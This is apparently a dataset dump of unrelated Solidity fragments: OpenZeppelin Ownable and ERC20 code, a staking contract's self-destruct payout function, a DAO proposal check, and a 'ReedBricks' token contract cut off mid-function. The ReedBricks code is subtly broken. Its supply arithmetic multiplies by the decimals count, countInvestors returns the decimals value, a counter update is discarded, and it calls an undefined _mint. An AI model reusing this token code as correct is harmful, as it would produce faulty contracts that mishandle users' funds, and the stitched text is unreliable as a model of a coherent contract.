* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
|
Destroy the contact after withdrawing everyone. If the reserve is not zero after the withdraw, the remaining will be sent back to the contract's owner./
|
function destroy() external onlyOwner {
uint256 usable = reserve();
uint256 length = addresses.length;
for (uint256 index = 0; index < length; index++) {
address addr = addresses[index];
Holder storage holder = holders[addr];
uint256 reward = _computeRewardOf(holder);
require(usable >= reward, "Staking: reserve does not have enough");
uint256 total = holder.totalStaked + reward;
crunch.transfer(addr, total);
}
_transferRemainingAndSelfDestruct();
}
| 1,587,804 |
./full_match/80001/0x447dD7Ce33B1E891C81d80F66d592312996f2827/sources/contracts/DAO/TokenMajorityVoting/TokenMajorityVotingBase.sol
|
Internal function to check if a proposal vote is still open. proposal_ The proposal struct. return True if the proposal vote is open, false otherwise.
|
function _isProposalOpen(
Proposal storage proposal_
) internal view virtual returns (bool) {
uint64 currentTime = block.timestamp.toUint64();
return
proposal_.parameters.startDate <= currentTime &&
currentTime < proposal_.parameters.endDate &&
!proposal_.executed;
}
| 855,099 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function getOwner() external view returns (address);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() {}
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function increment(uint256 a) internal pure returns (uint256) {
uint256 b = a + 1;
require(b >= a, "SafeMath: addition overflow");
return b;
}
function decrement(uint256 a) internal pure returns (uint256) {
require(1 <= a, "SafeMath: subtraction overflow");
uint256 b = a - 1;
return b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ReedBricks is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
//event Received(address sender, uint256 value);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) private _allowances;
// base controller of the token contract
address public controller = 0x63841FFdDfB1e275a9eC163e0332962E27fD5AAb;
address public feecollector = 0x63841FFdDfB1e275a9eC163e0332962E27fD5AAb;
uint8 private _decimals = 18;
uint256 private _totalSupply = 1 * 10**9 * _decimals;
string private _name = "ReedBricks";
string private _symbol = "REED";
//Authorised Admins//
mapping(address => bool) private isAdmin;
// set of investors, for locking funding
struct Investor {
address account;
uint256 amount;
uint256 locked;
bool exists;
}
event InvestorAdded(
uint256 indexed id,
address _account,
uint256 amount,
uint256 locked
);
event InvestorRemoved(uint256 indexed id);
Investor[] investors;
uint256 private investorCount = 0;
uint256 private _totalFee = 0;
uint256 private _taxFee = 5; //5%//
uint256 private immutable _mintcap = _totalSupply;
uint256 private immutable _burncap = _totalSupply.div(2);
constructor() {
//_balances[msg.sender] = _totalSupply;
_mint(msg.sender, _totalSupply);
emit Transfer(address(0), msg.sender, _totalSupply);
}
// accept incoming ETH
receive() external payable {
// React to receiving ether
//emit Received(msg.sender, msg.value);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyAdmin() {
require(isAdmin[msg.sender], "Ownable: caller is not an admin");
_;
}
/**
* @dev Returns the mint cap on the token's total supply.
*/
function mintCap() public view virtual returns (uint256) {
return _mintcap;
}
/**
* @dev Returns the burn cap on the token's total supply.
*/
function burnCap() public view virtual returns (uint256) {
return _burncap;
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function makeAdmin(address account) public onlyOwner returns (bool) {
isAdmin[account] = true;
return true;
}
function removeAdmin(address account) public onlyOwner returns (bool) {
isAdmin[account] = false;
return true;
}
/**
* @dev Returns the total investor count.
*/
function countInvestors() external view returns (uint8) {
return _decimals;
}
function removeInvestor(uint256 id) public onlyAdmin returns (bool) {
_removeInvestor(id);
return true;
}
function _removeInvestor(uint256 _id) internal {
require(investors[_id].exists, "Investor does not exist.");
delete investors[_id];
investorCount.decrement();
emit InvestorRemoved(_id);
}
function addInvestor(
address investor,
uint256 amount,
uint256 _days
) public onlyAdmin returns (bool) {
_addInvestor(investor, amount, _days);
return true;
}
function _addInvestor(
address _investor,
uint256 _amount,
uint256 _days
) internal {
uint256 id = investorCount.increment();
uint256 time_lock = createEscrow(_days);
Investor memory investor = Investor(
_investor,
_amount,
time_lock,
true
);
investors.push(investor);
emit InvestorAdded(id, _investor, _amount, _days);
}
function createEscrow(uint256 _days)
internal
view
onlyOwner
returns (uint256)
{
uint256 expirationDate = block.timestamp + _days * 1 days;
return expirationDate;
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {IERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"IERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
